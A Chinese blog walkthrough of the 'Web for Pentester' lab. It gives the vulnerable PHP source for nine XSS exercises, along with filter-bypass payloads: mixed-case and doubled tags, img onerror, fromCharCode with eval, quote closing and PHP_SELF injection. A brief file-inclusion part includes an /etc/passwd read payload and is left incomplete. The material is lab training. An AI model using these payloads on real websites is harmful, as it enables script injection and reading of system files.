web for pentester 靶场

web for pentester  是一个常见的web漏洞练习平台

xss-跨站脚本

example1

题目源码

<?php require_once '../header.php'; ?>
<html>
Hello 
<?php 
	echo $_GET["name"];
?>

<?php require_once '../footer.php'; ?>

 分析

仅仅用了get获取传入内容没有任何过滤,直接传入payload即可

题解

payload:name=<script>alert(1)</script>

 

example2

题目源码

<?php require_once '../header.php'; ?>
Hello 
<?php 
	$name =  $_GET["name"];
	$name = preg_replace("/<script>/","", $name);
	$name = preg_replace("/<\/script>/","", $name);
echo $name;
?>
<?php require_once '../footer.php'; ?>

分析

代码过滤了<script>和</script>,可以考虑用大写绕过

题解

payload:name=<Script>alert(1)</Script>

 

example3

题目源码

<?php require_once '../header.php'; ?>
Hello 
<?php
	 
	$name =  $_GET["name"];
	$name = preg_replace("/<script>/i","", $name);
	$name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>

<?php require_once '../footer.php'; ?>

 

分析

代码使用i来过滤大写

1、考虑传入<a>标签,构造一个链接点击完成xss;

2、考虑双写绕过

题解

1、payload: name=<a onclick=javascript:alert(1)>点我</a>

2、payload: name=<s<script>cript>alert(1)</</script>script>

 

example4

题目源码

<?php require_once '../header.php'; 
if (preg_match('/script/i', $_GET["name"])) {
  die("error");
}
?>
Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?>	

 

分析

代码匹配到script任意形式都会导致程序终止,故考虑选择<img>标签触发onerror事件

题解

payload: name=<img src=x onerror=alert(1)>

 

example5

题目源码

<?php require_once '../header.php'; 

if (preg_match('/alert/i', $_GET["name"])) {
  die("error");
}
?>

Hello <?php  echo $_GET["name"]; ?>
<?php require_once '../footer.php'; ?

 

分析

代码过滤了alert的大小写,可以选择别的方式来发出弹窗

1、选择confirm(1)

2、选择prompt(1)

3、利用 String.fromCharCode() 编码来绕过,alert(1)编码后变为:String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41)

题解

1、payload: name=<script>confirm(1)</script>

2、payload: name=<script>prompt(1)</script>

3、payload: name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>

 

example6

题目源码

<?php require_once '../header.php'; ?>
Hello 
<script>
	var $a= "<?php  echo $_GET["name"]; ?>";
</script>
	<?php require_once '../footer.php'; ?>

 

分析

代码通过get方法获得name值,然后直接放到script标签里,考虑闭合"

题解

1、payload: name=";alert(1);"

2、payload: name=";alert(1);//

//表示注释掉后面的内容

example7

题目源码

<?php require_once '../header.php'; ?>
Hello 
<script>
	var $a= '<?php  echo htmlentities($_GET["name"]); ?>';
</script>
	
<?php require_once '../footer.php'; ?>

 

分析

代码是通过 htmlentities() 函数把字符转换为 HTML 实体,然后再输出单引号修饰的 a 变量中。htmlentities() 会将双引号 " 特殊编码,但是却它不编码单引号',恰巧这里是通过单引号' 给 a 变量赋值的,所以依然可以通过闭合单引号' 来弹窗。

题解

1、payload: name=';alert(1);'

2、payload: name=';alert(1);//

 

example8

题目源码

<?php 
  require_once '../header.php'; 

  if (isset($_POST["name"])) {
    echo "HELLO ".htmlentities($_POST["name"]);
  }
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
  Your name:<input type="text" name="name" />
  <input type="submit" name="submit"/>

<?php 
   
  require_once '../footer.php'; 

?>

 

分析

name 变量通过 form 表单以 POST 方式传入,然后通过 htmlentities 函数是实体化后输出来,这次通过 POST 方式传入的 name 变量是比较安全的,暂时无法突破。重点分析这里 <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">,用户依然可以控制参数 PHP_SELF,并且这里没有过滤直接输入到了 form 标签中,所以这里通过闭合依然可以 XSS.

'PHP_SELF'
当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/foo/bar.php 的脚本中使用 $_SERVER['PHP_SELF'] 将得到 /foo/bar.php

题解

1、payload: example8.php/"><script>alert(1)</script>//

闭合整个form标签,利用javascript弹窗

2、payload: example8.php/" onclick=alert(1)//

闭合action属性,利用form标签的onclick属性构造点击事件

 

example9

题目源码

<?php require_once '../header.php'; ?>
<script>
  document.write(location.hash.substring(1));
</script>
<?php require_once '../footer.php'; ?>

 

分析

题解

参考:https://www.sqlsec.com/2020/05/pentesterlab.html

 

file_include 文件包含

example1

题目源码

分析

代码没有进行传入文件的过滤,可以直接读取

题解

payloadpage=/etc/passw

 

example2

题目源码

分析

代码进行传入文件的过滤,用%00匹配截取

题解


                

版权声明:
作者:godlong
链接:http://godlong.store/index.php/2024/03/21/web-for-pentester/
来源:godlong
文章版权归作者所有,未经允许请勿转载。

THE END
分享
二维码
< <上一篇
下一篇>>
文章目录
关闭